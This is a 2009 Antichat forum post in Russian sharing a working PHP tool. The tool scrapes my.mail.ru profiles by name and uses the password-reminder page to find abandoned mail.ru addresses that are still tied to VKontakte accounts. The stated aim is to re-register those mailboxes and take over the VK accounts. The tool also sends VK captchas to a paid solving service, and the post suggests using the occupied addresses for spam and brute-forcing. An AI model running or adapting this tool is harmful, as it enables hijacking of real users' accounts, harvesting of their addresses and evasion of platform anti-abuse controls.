ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > PHP, PERL, MySQL, JavaScript
   
 
 
Опции темы Поиск в этой теме Опции просмотра

почти реггер вконтакта=))
  #1  
Старый 16.10.2009, 20:40
zifanchuck
Постоянный
Регистрация: 27.10.2008
Сообщений: 491
Провел на форуме:
4002393

Репутация: 464
Отправить сообщение для zifanchuck с помощью ICQ
По умолчанию почти реггер вконтакта=))

Типа Интро = )

Все знают что Вконтакте.ру ввел ограничения и теперь чтобы зарегистрироваться нужно получить код по смс и ввести его на сайте и на один номер может быть только одна регистрация. Все регеры подохли, вконтакте быстро банит то что у нас осталось нареганого и нам остаеться только покупать аки с фейка, но они тоже живут не очень долго так как юзера меняют пароли.
Если вы думаете что можно будет поиметь кучу аков то должен вас расстроить тем способом что описан будет ниже можно получить не много аков, но там будет некоторый плюс.
Типа История

Сижу я вообщим на ачате, читаю разную муть. И тут мне приходит сообщения от Кусто с просьбой написать скрипт (я тогда писал скрипты за отзыв). В письме он изложил полную картину того как должен работать скрипт. Тема реально новая и до такого я бы не додумался =)

Суть скрипта

По сколько мы не можем просто зарегать акаунт то нужно искать окольные пути, как раз Кусто нашел.
Есть такой сервис МойМир (my.mail.ru) от всем знакомого нам почтовика mail.ru . При регистрации нам создаеться автоматически МойМир даже если мы им не пользуемся. Сам почтовик удаляет емейлы если им не пользовались больше 3 месяцев, но МойМир остаеться даже есть емейл сдох. Начинаете улавливать мысль ? Тоисть если найди всех «Насть» и проверить мыла то может где-то найдем свободный. Логично? А может этот мыльний есть вконтакте???
Вот Кусто и попросил меня написать скрипт который ищет всех «Насть» берет мыльник, проверяет, если он свободен то проверяет его вконтакте, если там он занят то записывает в файл.
Скрипт написал. Все занятые мыла бросает в бед.тхт (может пригодиться для спама, брута), свободные мыла в гуд.тхт, а те что свободные и есть вконтакте записывает в веригуд.тхт
Но есть здесь недостаток. Например оно чекнуло акаунт и он был свободен, то при повторном чеке этого ака он будет лететь в гуд =(


Вот сам скрипт


PHP код:
<form method="POST">
<center>
email:<input type="text" name="email"><br>
pass:<input type="text" name="pass"><br>
Имя:<input type="text" name="name"><br>
Фамилия:<input type="text" name="surname"><br>
<input type=submit value="НАчать РАботать!!!">
</center>

<?php

//скрипт для поиска юзеров в МоемМире, выдерание мыла, проверка на занятость, потом чек свободных в вконтакте.
//с поддержкой антикаптчи.

set_time_limit(0);

////////////////////////////////////////////

function curl($url,$post)
{
$cfile 'cookies.txt';
$ch curl_init();
curl_setopt($chCURLOPT_RETURNTRANSFER1);
curl_setopt($chCURLOPT_URL$url);
curl_setopt($chCURLOPT_HEADER0);
curl_setopt($chCURLOPT_POSTFIELDS$post);
curl_setopt($chCURLOPT_COOKIEJAR$cfile);
curl_setopt($chCURLOPT_COOKIEFILE$cfile);
curl_setopt($chCURLOPT_FOLLOWLOCATIONtrue);
curl_setopt($chCURLOPT_POST1);
$result curl_exec($ch);
curl_close($ch);
return 
$result;
};

///////////////////////////////

    
function add_file($path,$page_body)
{
   
$file=fopen($path,"a+");
    
fputs($file,$page_body);

   
// close out file
   
fclose($file);
}

//////////////////////////////


 
function recognize($filename$apikey$is_verbose true$rtimeout 3$mtimeout 200$is_phrase 0$is_regsense 1$is_numeric 0$min_len 0$max_len 0)
{
    if (!
file_exists($filename))
    {
        if (
$is_verbose) echo "file $filename not found\n";
        return 
false;
    }
    
$postdata = array(
        
'method'    => 'post',
        
'key'       => $apikey,
        
'file'      => '@'.$filename//полный путь к файлу
        
'phrase'    => $is_phrase,
        
'regsense'    => $is_regsense,
        
'numeric'    => $is_numeric,
        
'min_len'    => $min_len,
        
'max_len'    => $max_len,

    );
    
$ch curl_init();
    
curl_setopt($chCURLOPT_URL,             'http://ac-service.info/in.php');
    
curl_setopt($chCURLOPT_RETURNTRANSFER,     1);
    
curl_setopt($chCURLOPT_TIMEOUT,             60);
    
curl_setopt($chCURLOPT_POST,                 1);
    
curl_setopt($chCURLOPT_POSTFIELDS,         $postdata);
    
$result curl_exec($ch);
    if (
curl_errno($ch))
    {
        if (
$is_verbose) echo "CURL returned error: ".curl_error($ch)."\n";
        return 
false;
    }
    
curl_close($ch);
    if (
strpos($result"ERROR")!==false)
    {
        if (
$is_verbose) echo "server returned error: $result\n";
        return 
false;
    }
    else
    {
        
$ex explode("|"$result);
        
$captcha_id $ex[1];
        if (
$is_verbose) echo "ID $captcha_id \n";
        
$waittime 0;
        if (
$is_verbose) echo "<br>sleep $rtimeout \n";
        
sleep($rtimeout);
        while(
true)
        {
            
$result file_get_contents('http://ac-service.info/res.php?key='.$apikey.'&action=get&id='.$captcha_id);
            if (
strpos($result'ERROR')!==false)
            {
                if (
$is_verbose) echo "server returned error: $result\n";
                return 
false;
            }
            if (
$result=="CAPCHA_NOT_READY")
            {
                if (
$is_verbose) echo "<br>captcha is not ready yet\n";
                
$waittime += $rtimeout;
                if (
$waittime>$mtimeout)
                {
                    if (
$is_verbose) echo "<br>timelimit ($mtimeout) hit\n";
                    break;
                }
                if (
$is_verbose) echo "<br>waiting for $rtimeout seconds\n";
                
sleep($rtimeout);
            }
            else
            {
                
$ex explode('|'$result);
                if (
trim($ex[0])=='OK') return trim($ex[1]);
                echo 
'<br>'.$ex[1];
            }
        }

        return 
false;
    }
}


///////////////////////////////////////

$email $_POST['email'];
$pass $_POST['pass'];
$name $_POST['name'];
$surname $_POST['surname'];

$ak ''// Антикаптча ключ

if(!$email||!$pass){exit('Введите даные');}

list(
$login$domain) = explode("@"$email);
$result curl("http://win.mail.ru/cgi-bin/auth""Login=".$login."&Domain=".$domain."&Password=".$pass);

for(
$page=1$page<=10000$page++)
  {
    
$result curl("http://my.mail.ru/my/search?page=".$page."&search=1&typeSimple=1&type=1&query=&firstname=".$name."&country=&lastname=".$surname."&city=""");
    if (
preg_match('#К сожалению(.*)#iU',$result,$avtoriz))
    {
        
$page 10001;
    }
    else
    {
    
preg_match_all ('#my\.mail\.ru\/mail\/(.*)\/#iU'$result$regs);
    
$regs $regs[1];
    
$count count($regs);

    for(
$i=15$i<=$count$i++)
     {
        
$i++;
        
$result curl("http://my.mail.ru/mail/".$regs[$i], "");
        
preg_match_all ('#gifts\?send=(.*)\"#iU'$result$re);
        
$checkemail $re[1][0];
        if(!
$checkemail){}
        else
       {
        list(
$login$domain) = explode("@",$checkemail);
        
$result curl("http://win.mail.ru/cgi-bin/passremind""action=login&Username=".$login."&Domain=".$domain);
        
$z=strpos($result"Пользователь отсутствует.");
        if (
$z !== false)
         {
             
add_file("good.txt"$checkemail."\r\n");

            
$result curl('http://vk.com/reg0?act=register&first_name='.$login.'&last_name='.$login.'&regemail='.$checkemail.'&regpass='.$login.'&country=1&timezone=4''');
    if(
strstr($result"captcha_sid"))
    {
            
preg_match_all ('#captcha_sid\"\:\"(.*)\",\"text"#iU'$result$regs);
            
$sid $regs[1][0];
            
$result curl("http://vk.com/captcha.php?s=1&sid=".$sid,"");
            
file_put_contents('cap.jpg',$result);
            
$captcha=recognize('Z:/home/norm/www/cap.jpg' ,$ak);
            
$result curl('http://vkontakte.ru/reg.php''act=register&first_name='.$login.'&last_name='.$login.'&regemail='.$checkemail.'&regpass='.$login.'&country=1&timezone=4&by_login=0&captcha_sid='.$sid.'&captcha_key='.$captcha);

           if(
strstr($result,'login.php?email='))
        {
             
add_file("varygood.txt"$checkemail."\r\n");
        }
    }
    else
    {
        if(
strstr($result,'login.php?email='))
        {
             
add_file("verygood.txt"$checkemail."\r\n");
        }

    }
        }
        else
        {
            
add_file("bad.txt"$checkemail."\r\n");
        }
       
sleep(30);
       }
     }
    }
  }
?>

Нужно в самом коде добавить антикаптчакей (вконтакте раз гдето в 5 раз выскакивает каптча). Потом когда запустите его через браузер введите логин и пасс для МойМир и фамилию или имя.

П.С Автор идеи (Кусто) не против того что я написал статью
 
Ответить с цитированием
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Почти два миллиона компьютеров в мире находятся под контролем хакеров Jardon Мировые новости 16 11.05.2009 12:27
Почти половина российских пользователей не променяют интернет на еду root_sashok Мировые новости 15 10.05.2009 18:38
Кто может на писать реггер loveplanet.ru Qisse PHP, PERL, MySQL, JavaScript 3 16.01.2009 13:47
Интернет через gprs, почти даром! =Be$= Беспроводные технологии/WPAN/WLAN 33 07.12.2006 01:54
Мировой регистратор заблокировал почти 1,4 тыс. доменов российского провайдера cyberlife Мировые новости 7 17.06.2006 16:49



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ